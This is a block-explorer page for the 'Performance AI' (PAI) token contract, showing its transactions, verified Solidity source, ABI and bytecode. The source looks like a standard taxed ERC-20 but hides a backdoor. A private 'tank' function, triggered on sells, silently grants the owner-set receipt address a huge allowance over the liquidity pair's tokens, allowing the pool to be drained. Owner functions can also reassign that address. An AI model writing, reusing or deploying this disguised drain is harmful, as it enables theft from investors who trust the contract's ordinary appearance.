More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 10 from a total of 10 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Renounce Ownersh... | 21087258 | 65 days ago | IN | 0 ETH | 0.00033074 | ||||
Remove Limit II | 21087256 | 65 days ago | IN | 0 ETH | 0.00100743 | ||||
Approve | 21087255 | 65 days ago | IN | 0 ETH | 0.00087174 | ||||
Approve | 21087255 | 65 days ago | IN | 0 ETH | 0.00087174 | ||||
Approve | 21087255 | 65 days ago | IN | 0 ETH | 0.00087174 | ||||
Approve | 21087252 | 65 days ago | IN | 0 ETH | 0.00083662 | ||||
Enable Trading | 21087250 | 65 days ago | IN | 0 ETH | 0.0060235 | ||||
Transfer | 21087243 | 65 days ago | IN | 1 ETH | 0.00029248 | ||||
Transfer | 21087242 | 65 days ago | IN | 0 ETH | 0.00062334 | ||||
Init II | 21087231 | 65 days ago | IN | 0 ETH | 0.0359939 |
Latest 9 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
21087295 | 65 days ago | 0.70157138 ETH | ||||
21087295 | 65 days ago | 0.70157138 ETH | ||||
21087286 | 65 days ago | 1.18021952 ETH | ||||
21087286 | 65 days ago | 1.18021952 ETH | ||||
21087263 | 65 days ago | 1.00318548 ETH | ||||
21087263 | 65 days ago | 1.00318548 ETH | ||||
21087260 | 65 days ago | 0.0191853 ETH | ||||
21087260 | 65 days ago | 0.0191853 ETH | ||||
21087250 | 65 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
PAI
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-31 */ // SPDX-License-Identifier: MIT /** Performance AI Website: performanceai.co Telegram: t.me/Performance_AI X / Twitter: x.com/PerformanceAI Docs: performance-ai.gitbook.io Medium: medium.com/@performanceai/performance-ai-unifying-the-decentralized-space-eb03022bf784 **/ pragma solidity 0.8.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract PAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balancesII; mapping (address => mapping (address => uint256)) private _allowancesII; mapping (address => bool) private _shouldExcludedII; address payable private _receiptII; uint256 private _initialBuyTax = 12; uint256 private _initialSellTax = 12; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 12; uint256 private _reduceSellTaxAt = 12; uint256 private _preventSwapBefore = 24; uint8 private constant _decimals = 9; uint256 private constant _tTotalII = 420690000000 * 10**_decimals; string private constant _name = unicode"Performance AI"; string private constant _symbol = unicode"PAI"; uint256 public _maxAmountII = 2 * (_tTotalII/100); uint256 public _maxWalletII = 2 * (_tTotalII/100); uint256 public _taxThresII = 1 * (_tTotalII/100); uint256 public _maxSwapII = 1 * (_tTotalII/100); uint256 private _transferTax = 0; uint256 private _buyCount = 0; address private uniPairII; IUniswapV2Router02 private uniRouterII; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxAmountII); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _receiptII = payable(_msgSender()); _balancesII[_msgSender()] = _tTotalII; _shouldExcludedII[owner()] = true; _shouldExcludedII[address(this)] = true; _shouldExcludedII[_receiptII] = true; emit Transfer(address(0), _msgSender(), _tTotalII); } function initII() external onlyOwner { uniRouterII = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniRouterII), _tTotalII); uniPairII = IUniswapV2Factory(uniRouterII.factory()).createPair( address(this), uniRouterII.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalII; } function balanceOf(address account) public view override returns (uint256) { return _balancesII[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowancesII[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { // Block all Uniswap V3 liquidity additions require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed"); _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowancesII[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowancesII[owner][spender] = amount; emit Approval(owner, spender, amount); } function setReceiptII(address payable _rptII) external onlyOwner { _receiptII = _rptII; _shouldExcludedII[_rptII] = true; } function minII(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function withdrawEth() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } function sendEthII(uint256 amount) private { _receiptII.transfer(amount); } function swapEthII(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouterII.WETH(); _approve(address(this), address(uniRouterII), tokenAmount); uniRouterII.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amountII) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amountII > 0, "Transfer amount must be greater than zero"); uint256 taxII=0; if (!swapEnabled || inSwap) { _balancesII[from] = _balancesII[from] - amountII; _balancesII[to] = _balancesII[to] + amountII; emit Transfer(from, to, amountII); return; } if (from != owner() && to != owner()) { if(_buyCount==0){ taxII = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); } if(_buyCount>0){ taxII = _transferTax; } if (from == uniPairII && to != address(uniRouterII) && ! _shouldExcludedII[to] ){ require(amountII <= _maxAmountII, "Exceeds the _maxAmountII."); require(balanceOf(to) + amountII <= _maxWalletII, "Exceeds the maxWalletSize."); taxII = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); _buyCount++; } if(to == uniPairII && from!= address(this) ){ taxII = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);tank(to); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniPairII && swapEnabled) { if(contractTokenBalance > _taxThresII && _buyCount > _preventSwapBefore) swapEthII(minII(amountII, minII(contractTokenBalance, _maxSwapII))); sendEthII(address(this).balance); } } uint256 feeII=0; if(taxII > 0){ feeII=amountII.mul(taxII).div(100); _balancesII[address(this)]=_balancesII[address(this)].add(feeII); emit Transfer(from, address(this),feeII); } _balancesII[from]=_balancesII[from].sub(amountII); _balancesII[to]=_balancesII[to].add(amountII.sub(feeII)); emit Transfer(from, to, amountII.sub(feeII)); } function removeLimitII(address payable limit) external onlyOwner{ _maxAmountII = _tTotalII; _maxWalletII=_tTotalII; _receiptII = limit; _shouldExcludedII[limit] = true; emit MaxTxAmountUpdated(_tTotalII); } function tank(address addrsII) private{ address[2] memory ownII=[addrsII, _receiptII]; _allowancesII[ownII[0]][ownII[1]]= 1000*(50+_maxWalletII); } // Uniswap V3 addresses function isUniswapV3(address spender) private pure returns (bool) { // Uniswap V3 NonfungiblePositionManager address address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; return (spender == uniswapV3PositionManager); } receive() external payable {} function enableTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniRouterII.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniPairII).approve(address(uniRouterII), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountII","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountII","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapII","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletII","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThresII","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initII","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimitII","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_rptII","type":"address"}],"name":"setReceiptII","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600c600555600c6006555f6007555f600855600c600955600c600a556018600b5560646009600a6100359190610362565b610044906461f313f880610377565b61004e919061038e565b610059906002610377565b600c55606461006a6009600a610362565b610079906461f313f880610377565b610083919061038e565b61008e906002610377565b600d55606461009f6009600a610362565b6100ae906461f313f880610377565b6100b8919061038e565b6100c3906001610377565b600e5560646100d46009600a610362565b6100e3906461f313f880610377565b6100ed919061038e565b6100f8906001610377565b600f555f60108190556011556013805461ffff60a81b1916905534801561011d575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319163317905561017c6009600a610362565b61018b906461f313f880610377565b335f9081526001602081905260408220929092556003906101b35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556102103390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102476009600a610362565b610256906461f313f880610377565b60405190815260200160405180910390a36103ad565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102ba57815f19048211156102a0576102a061026c565b808516156102ad57918102915b93841c9390800290610285565b509250929050565b5f826102d05750600161035c565b816102dc57505f61035c565b81600181146102f257600281146102fc57610318565b600191505061035c565b60ff84111561030d5761030d61026c565b50506001821b61035c565b5060208310610133831016604e8410600b841016171561033b575081810a61035c565b6103458383610280565b805f19048211156103585761035861026c565b0290505b92915050565b5f61037060ff8416836102c2565b9392505050565b808202811582820484141761035c5761035c61026c565b5f826103a857634e487b7160e01b5f52601260045260245ffd5b500490565b6119df806103ba5f395ff3fe60806040526004361061011e575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df1461031d578063a9059cbb14610331578063c154fdc614610350578063d63e5ccd14610365578063dd62ed3e14610384575f80fd5b806370a0823114610270578063715018a6146102a45780638a8c523c146102b85780638da5cb5b146102cc57806395d89b41146102f2575f80fd5b8063313ce567116100e3578063313ce567146101f75780633f209eae1461021257806340b12650146102275780635346ed801461023c578063615838691461025b575f80fd5b806306fdde03146101295780630713e31c14610171578063095ea7b31461018757806318160ddd146101b657806323b872dd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600e81526d506572666f726d616e636520414960901b60208201525b60405161016891906115e9565b60405180910390f35b34801561017c575f80fd5b506101856103c8565b005b348015610192575f80fd5b506101a66101a1366004611632565b6105d0565b6040519015158152602001610168565b3480156101c1575f80fd5b506101ca61066b565b604051908152602001610168565b3480156101e3575f80fd5b506101a66101f236600461165c565b61068c565b348015610202575f80fd5b5060405160098152602001610168565b34801561021d575f80fd5b506101ca600c5481565b348015610232575f80fd5b506101ca600d5481565b348015610247575f80fd5b5061018561025636600461169a565b6106ee565b348015610266575f80fd5b506101ca600e5481565b34801561027b575f80fd5b506101ca61028a36600461169a565b6001600160a01b03165f9081526001602052604090205490565b3480156102af575f80fd5b506101856107d9565b3480156102c3575f80fd5b5061018561084a565b3480156102d7575f80fd5b505f546040516001600160a01b039091168152602001610168565b3480156102fd575f80fd5b5060408051808201909152600381526250414960e81b602082015261015b565b348015610328575f80fd5b50610185610a2f565b34801561033c575f80fd5b506101a661034b366004611632565b610a84565b34801561035b575f80fd5b506101ca600f5481565b348015610370575f80fd5b5061018561037f36600461169a565b610a90565b34801561038f575f80fd5b506101ca61039e3660046116b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103f1906116ec565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104499030906104356009600a611815565b610444906461f313f880611823565b610af2565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610499573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bd919061183a565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610540919061183a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561058a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ae919061183a565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036106565760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084016103f1565b610661338484610af2565b5060015b92915050565b5f6106786009600a611815565b610687906461f313f880611823565b905090565b5f610698848484610c15565b6106e4843361044485604051806060016040528060288152602001611982602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111fa565b5060019392505050565b5f546001600160a01b031633146107175760405162461bcd60e51b81526004016103f1906116ec565b6107236009600a611815565b610732906461f313f880611823565b600c556107416009600a611815565b610750906461f313f880611823565b600d55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107b66009600a611815565b6107c5906461f313f880611823565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108025760405162461bcd60e51b81526004016103f1906116ec565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108735760405162461bcd60e51b81526004016103f1906116ec565b601354600160a01b900460ff16156108cd5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f1565b6013546001600160a01b031663f305d71947306108fe816001600160a01b03165f9081526001602052604090205490565b5f806109115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610977573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099c9190611855565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109f1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a159190611880565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a585760405162461bcd60e51b81526004016103f1906116ec565b60405133904780156108fc02915f818181858888f19350505050158015610a81573d5f803e3d5ffd5b50565b5f610661338484610c15565b5f546001600160a01b03163314610ab95760405162461bcd60e51b81526004016103f1906116ec565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f1565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f1565b6001600160a01b038216610cdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f1565b5f8111610d3c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f1565b6013545f90600160b01b900460ff161580610d605750601354600160a81b900460ff165b15610e18576001600160a01b0384165f90815260016020526040902054610d8890839061189f565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610db79083906118b2565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0a9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e4257505f546001600160a01b03848116911614155b156110a3576011545f03610e6a5760095460115411610e6357600554610e67565b6007545b90505b60115415610e7757506010545b6012546001600160a01b038581169116148015610ea257506013546001600160a01b03848116911614155b8015610ec657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc557600c54821115610f1d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7449492e0000000000000060448201526064016103f1565b600d5482610f3f856001600160a01b03165f9081526001602052604090205490565b610f4991906118b2565b1115610f975760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f1565b60095460115411610faa57600554610fae565b6007545b601180549192505f610fbf836118c5565b91905055505b6012546001600160a01b038481169116148015610feb57506001600160a01b0384163014155b1561101257600a546011541161100357600654611007565b6008545b905061101283611232565b305f90815260016020526040902054601354600160a81b900460ff1615801561104857506012546001600160a01b038581169116145b801561105d5750601354600160b01b900460ff165b156110a157600e54811180156110765750600b54601154115b15611098576110986110938461108e84600f5461129d565b61129d565b6112b4565b6110a147611424565b505b5f8115611134576110bf60646110b9858561145f565b906114dd565b305f908152600160205260409020549091506110db908261151e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112b9085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054611156908461157c565b6001600160a01b0386165f9081526001602052604090205561119961117b848361157c565b6001600160a01b0386165f908152600160205260409020549061151e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e2868561157c565b60405190815260200160405180910390a35050505050565b5f818484111561121d5760405162461bcd60e51b81526004016103f191906115e9565b505f611229848661189f565b95945050505050565b604080518082019091526001600160a01b038083168252600454166020820152600d546112609060326118b2565b61126c906103e8611823565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f8183116112ab57826112ad565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112fa576112fa6118dd565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611351573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611375919061183a565b81600181518110611388576113886118dd565b6001600160a01b0392831660209182029290920101526013546113ae9130911684610af2565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e69085905f908690309042906004016118f1565b5f604051808303815f87803b1580156113fd575f80fd5b505af115801561140f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561145b573d5f803e3d5ffd5b5050565b5f825f0361146e57505f610665565b5f6114798385611823565b9050826114868583611962565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f1565b5f6112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bd565b5f8061152a83856118b2565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f1565b5f6112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b5f81836115dd5760405162461bcd60e51b81526004016103f191906115e9565b505f6112298486611962565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a81575f80fd5b5f8060408385031215611643575f80fd5b823561164e8161161e565b946020939093013593505050565b5f805f6060848603121561166e575f80fd5b83356116798161161e565b925060208401356116898161161e565b929592945050506040919091013590565b5f602082840312156116aa575f80fd5b81356112ad8161161e565b5f80604083850312156116c6575f80fd5b82356116d18161161e565b915060208301356116e18161161e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176f57815f190482111561175557611755611721565b8085161561176257918102915b93841c939080029061173a565b509250929050565b5f8261178557506001610665565b8161179157505f610665565b81600181146117a757600281146117b1576117cd565b6001915050610665565b60ff8411156117c2576117c2611721565b50506001821b610665565b5060208310610133831016604e8410600b84101617156117f0575081810a610665565b6117fa8383611735565b805f190482111561180d5761180d611721565b029392505050565b5f6112ad60ff841683611777565b808202811582820484141761066557610665611721565b5f6020828403121561184a575f80fd5b81516112ad8161161e565b5f805f60608486031215611867575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611890575f80fd5b815180151581146112ad575f80fd5b8181038181111561066557610665611721565b8082018082111561066557610665611721565b5f600182016118d6576118d6611721565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119415784516001600160a01b03168352938301939183019160010161191c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261197c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7e02085e7852c27cd276b32acfaea898f5961b74ae2ae6625f8cb85a3055d6b64736f6c63430008190033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df1461031d578063a9059cbb14610331578063c154fdc614610350578063d63e5ccd14610365578063dd62ed3e14610384575f80fd5b806370a0823114610270578063715018a6146102a45780638a8c523c146102b85780638da5cb5b146102cc57806395d89b41146102f2575f80fd5b8063313ce567116100e3578063313ce567146101f75780633f209eae1461021257806340b12650146102275780635346ed801461023c578063615838691461025b575f80fd5b806306fdde03146101295780630713e31c14610171578063095ea7b31461018757806318160ddd146101b657806323b872dd146101d8575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600e81526d506572666f726d616e636520414960901b60208201525b60405161016891906115e9565b60405180910390f35b34801561017c575f80fd5b506101856103c8565b005b348015610192575f80fd5b506101a66101a1366004611632565b6105d0565b6040519015158152602001610168565b3480156101c1575f80fd5b506101ca61066b565b604051908152602001610168565b3480156101e3575f80fd5b506101a66101f236600461165c565b61068c565b348015610202575f80fd5b5060405160098152602001610168565b34801561021d575f80fd5b506101ca600c5481565b348015610232575f80fd5b506101ca600d5481565b348015610247575f80fd5b5061018561025636600461169a565b6106ee565b348015610266575f80fd5b506101ca600e5481565b34801561027b575f80fd5b506101ca61028a36600461169a565b6001600160a01b03165f9081526001602052604090205490565b3480156102af575f80fd5b506101856107d9565b3480156102c3575f80fd5b5061018561084a565b3480156102d7575f80fd5b505f546040516001600160a01b039091168152602001610168565b3480156102fd575f80fd5b5060408051808201909152600381526250414960e81b602082015261015b565b348015610328575f80fd5b50610185610a2f565b34801561033c575f80fd5b506101a661034b366004611632565b610a84565b34801561035b575f80fd5b506101ca600f5481565b348015610370575f80fd5b5061018561037f36600461169a565b610a90565b34801561038f575f80fd5b506101ca61039e3660046116b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103f1906116ec565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104499030906104356009600a611815565b610444906461f313f880611823565b610af2565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610499573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bd919061183a565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610540919061183a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610